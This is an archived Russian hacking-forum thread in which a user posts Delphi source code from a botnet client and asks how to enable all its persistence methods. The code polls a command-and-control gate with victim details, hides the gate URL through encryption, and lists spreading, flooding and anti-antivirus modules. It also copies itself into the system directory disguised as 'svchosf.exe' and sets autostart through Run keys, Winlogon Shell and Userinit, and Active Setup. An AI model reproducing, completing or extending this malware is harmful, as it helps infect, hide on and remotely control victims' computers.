Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Вопрос ботоводам

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> Вопрос ботоводам
Имя
Сообщение << Старые топики   Новые топики >>
Вопрос ботоводам - 2011-06-16 11:58:41.050000   
MYSTiQUE

Сообщений: 5
Оценки: 0
Присоединился: 2011-06-16 11:48:58.796666
Короче говоря ковырял я тут разные версии одного ботеГа (исходники) и обратил внимание на одну хрень, а именно

Вариант 1

procedure&nbsp;Timer(Wnd&nbsp;:HWnd;&nbsp;Msg,&nbsp;TimerID,&nbsp;dwTime&nbsp;:DWORD);stdcall; var &nbsp;&nbsp;Command&nbsp;:String; &nbsp;&nbsp;sArray&nbsp;&nbsp;:Array[0..1024]&nbsp;of&nbsp;String; begin &nbsp;&nbsp; Command&nbsp;:=&nbsp;ReadCommand(C_URL&nbsp;+&nbsp;'gate.php?username='+Username+'&amp;country='+Country+'&amp;OS='+OS); &nbsp;&nbsp;if&nbsp;not&nbsp;(Command&nbsp;=&nbsp;OldCommand)&nbsp;then &nbsp;&nbsp;begin &nbsp;&nbsp;&nbsp;&nbsp;OldCommand&nbsp;:=&nbsp;Command;&nbsp;
Вариант 2

procedure&nbsp;Timer(Wnd&nbsp;:HWnd;&nbsp;Msg,&nbsp;TimerID,&nbsp;dwTime&nbsp;:DWORD);stdcall; var &nbsp;&nbsp;Command&nbsp;:String; &nbsp;&nbsp;sArray&nbsp;&nbsp;:Array[0..2048]&nbsp;of&nbsp;String;&nbsp; begin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Command&nbsp;:=&nbsp;ReadCommand(pChar(Decrypt('CEDB+AaofUfM731dIe0wATbwoGXkZuxhpSVsxmpFMD3WulWSN3FmxB',key))+&nbsp;Username+'&amp;country='+Country+'&amp;OS='+OS);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [COLOR="Red"]Зашифрованная&nbsp;строка&nbsp;&nbsp;&nbsp;{'http://nub.site11.com/gate.php?username='}[/COLOR] &nbsp;&nbsp;if&nbsp;not&nbsp;(Command&nbsp;=&nbsp;OldCommand)&nbsp;then&nbsp;
Спрашивается зачем во втором варианте "вшивать" адрес гейта в зашифрованном виде если есть билдер…
С какой целью это было сделано… ?
У кого какие мысли?
Post #: 1
RE: Вопрос ботоводам - 2011-06-17 10:27:21.010000   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Возможно т.о. резервируют место под строку.
Post #: 2
RE: Вопрос ботоводам - 2011-06-17 10:30:25.843333   
Lauri

Сообщений: 1096
Оценки: 73
Присоединился: 2010-01-04 14:03:18.723333
Также возможно что бы с помощью реверса сразу не врубали что тут путь к админке.
Post #: 3
RE: Вопрос ботоводам - 2011-06-17 13:57:13.300000   
MYSTiQUE

Сообщений: 5
Оценки: 0
Присоединился: 2011-06-16 11:48:58.796666
Ладно если не врубают что это путь к админке или резервируют место под строку…
а куда тогда спрашиваеться билдер гейт будет вбивать ?
Post #: 4
RE: Вопрос ботоводам - 2011-06-17 15:32:20.083333   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Туда же, вместо CEDB+AaofUfM731dIe0wATbwoGXkZuxhpSVsxmpFMD3WulWSN3FmxB
Post #: 5
RE: Вопрос ботоводам - 2011-06-19 00:25:13.480000   
MYSTiQUE

Сообщений: 5
Оценки: 0
Присоединился: 2011-06-16 11:48:58.796666
Смысл в таком резервировании строки?
Post #: 6
RE: Вопрос ботоводам - 2011-06-19 01:07:36.900000   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Какая разница как она резервируется? Вам для чего это? Резервируйте как считаете лучше и проще.
Post #: 7
RE: Вопрос ботоводам - 2011-06-19 22:08:34.713333   
MYSTiQUE

Сообщений: 5
Оценки: 0
Присоединился: 2011-06-16 11:48:58.796666
Простите я немного не то имею ввиду если билдер так и так впишет адрес моего гейта смысл делать какой бы то нибыло резерв?
Post #: 8
RE: Вопрос ботоводам - 2011-06-20 16:54:29.596666   
MYSTiQUE

Сообщений: 5
Оценки: 0
Присоединился: 2011-06-16 11:48:58.796666
Хрен с ним с гейтом теперь у меня вот какой вопрос?

есть у меня бот
program svchosf; uses &nbsp; Windows, &nbsp; uConst, &nbsp; uUtils, &nbsp; uString, &nbsp; uSystemInfo, &nbsp; uWininet, &nbsp; uInstall, &nbsp; uDownloader, &nbsp; uSpread, &nbsp; uSSYN, &nbsp; uUDP, &nbsp; uUSBSpread, &nbsp; uMSNSpread, &nbsp; uLANSpread, &nbsp; UnitWindows, &nbsp; shellapi, &nbsp; uSocks5, &nbsp; uRSA, &nbsp; uHTTP_Flood, &nbsp; untInfector, &nbsp; uAntiAV, &nbsp; Winsock; var &nbsp; Thread ,Thread0&nbsp; :Cardinal; &nbsp; idThread&nbsp;&nbsp; :Cardinal; &nbsp; dThread&nbsp;&nbsp;&nbsp; :Cardinal;
далее в коде самого бота

begin AntiAV; &nbsp;ReleaseIt; &nbsp;&nbsp; Install;  где меня интересует ф-ция Install

далее идем в эту uInstall.pas

unit uInstall; interface uses &nbsp; Windows, ShellApi, uConst, uUtils, uProcess,uStartUp ; function Install :Boolean; procedure HideFile(FileName :String); const &nbsp; faHidden&nbsp;&nbsp;&nbsp; = $00000002 platform; &nbsp; faSysFile&nbsp;&nbsp; = $00000004 platform; implementation function FileSetAttr(const FileName: string; Attr: Integer): Integer; begin &nbsp; Result := 0; &nbsp; if not SetFileAttributes(PChar(FileName), Attr) then &nbsp;&nbsp;&nbsp; Result := GetLastError; end; procedure HideFile(FileName :String); begin &nbsp; FileSetAttr(FileName, faHidden or faSysFile); end; &nbsp; { function Install :Boolean; var &nbsp; hRegKey :HKEY; &nbsp; Path&nbsp; :String; begin &nbsp; Result := False; &nbsp; if C_START = 1 then &nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Path := WinDir(C_VALUE); &nbsp;&nbsp;&nbsp; RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE, hRegKey); &nbsp;&nbsp;&nbsp; RegSetValueEx(hRegKey, PChar(C_KEY), 0, REG_SZ, PChar(Path), Length(Path)+1); &nbsp;&nbsp;&nbsp; RegCloseKey(hRegKey); &nbsp;&nbsp;&nbsp; if not FileExists(Path) then &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CopyFile(PChar(ParamStr(0)), PChar(Path), False); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if C_HIDE = 1 then HideFile(Path); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShellExecute(0, 'open', PChar(Path), nil, nil, SW_HIDE); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := True; &nbsp;&nbsp;&nbsp; end; &nbsp; end; end; } function Install :Boolean; var &nbsp; dir: array[0..255] of char; &nbsp; name: string; begin &nbsp; getsystemdirectory(dir, 256); &nbsp; name := string(dir)+'\svchosf.exe'; &nbsp; copyfile(pchar(paramstr(0)), pchar(name), false);//копируем файл ... если есть перезапишем! &nbsp; writeprivateprofilestring('boot','shell','Explorer.exe svchosf.exe','system.ini'); &nbsp; AddToRun('Microsoft Host Driver ',pchar(name)); &nbsp;Result := True; end; end.  и видим там

uses &nbsp; Windows, ShellApi, uConst, uUtils, uProcess,uStartUp
меня интересует эта uStartUp.pas

далее ее код

//6 Видов автозапуска unit uStartUp; interface uses windows, sysutils; procedure AddToRun(name,exe:string); procedure AddToRunOnce(name,exe:string); procedure AddToPolicies(name,exe:string); procedure AddToActiveX(exe:string); procedure AddToUserInit(exe:string); procedure AddToShell(exe:string); implementation function SetTheReg(key:Hkey; subkey,name,value:string):boolean; var regKey:hkey; begin &nbsp; result:=FALSE; &nbsp; RegCreateKey(key,PChar(subkey),regKey); &nbsp; if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then &nbsp;&nbsp;&nbsp; result:=TRUE; &nbsp; RegCloseKey(regKey); end; function GetTheReg(key:Hkey; subkey,nombre:String):String; var &nbsp; bytesread:dword; &nbsp; regKey: HKEY; &nbsp; valor:String; begin &nbsp; Result:=''; &nbsp; RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey); &nbsp; RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread); &nbsp; SetLength(valor, bytesread); &nbsp; if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then &nbsp;&nbsp;&nbsp; result:=valor; &nbsp; RegCloseKey(regKey); end; function DelTheReg(RootKey: HKEY; Name: String): boolean; var &nbsp; SubKey: String; &nbsp; n: integer; &nbsp; hTemp: HKEY; begin &nbsp; Result := False; &nbsp; n := LastDelimiter('\', Name); &nbsp; if n &gt; 0 then &nbsp; begin &nbsp;&nbsp;&nbsp; SubKey := Copy(Name, 1, n - 1); &nbsp;&nbsp;&nbsp; if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SubKey := Copy(Name, n + 1, Length(Name) - n); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegCloseKey(hTemp); &nbsp;&nbsp;&nbsp; end; &nbsp; end; end; procedure AddToPolicies(name,exe: String); begin &nbsp; SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe); end; procedure AddToShell(exe: String); var &nbsp; Original: string; begin &nbsp; Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell'); &nbsp; if ansipos(exe, original)=0 then &nbsp;&nbsp;&nbsp; SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"'); end; procedure AddToRunOnce(name,exe: String); begin &nbsp;&nbsp;&nbsp; SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"'); end; procedure AddToRun(name,exe: String); begin &nbsp;&nbsp;&nbsp; SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,''+exe+''); end; procedure AddToUserInit(exe: String); var &nbsp; Original: string; begin &nbsp; Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'); &nbsp; if ansipos(exe, original)=0 then &nbsp;&nbsp;&nbsp; SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"'); end; procedure AddToActiveX(exe:string); begin &nbsp; SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"'); end; end.
так вот в этой uInstall.pas загрузка идет как вы поняли только через

HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run


файл  svchosf.exe

отсюда вопрос нахрена в этом Install вызывать uStartUp.pas с 6 путями для автозапуска
и никак это не использовать…? или я че то в этом коде не увидел?

Помогите кто может как мне реализовать в uInstall.pas эту uStartUp.pas чтобы использовать все 6 способов автозагрузки?

заранее всем спасибо за дельные ответы…
Post #: 9
Страниц:  [1]
Все форумы >> [Программы для взлома] >> Вопрос ботоводам







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.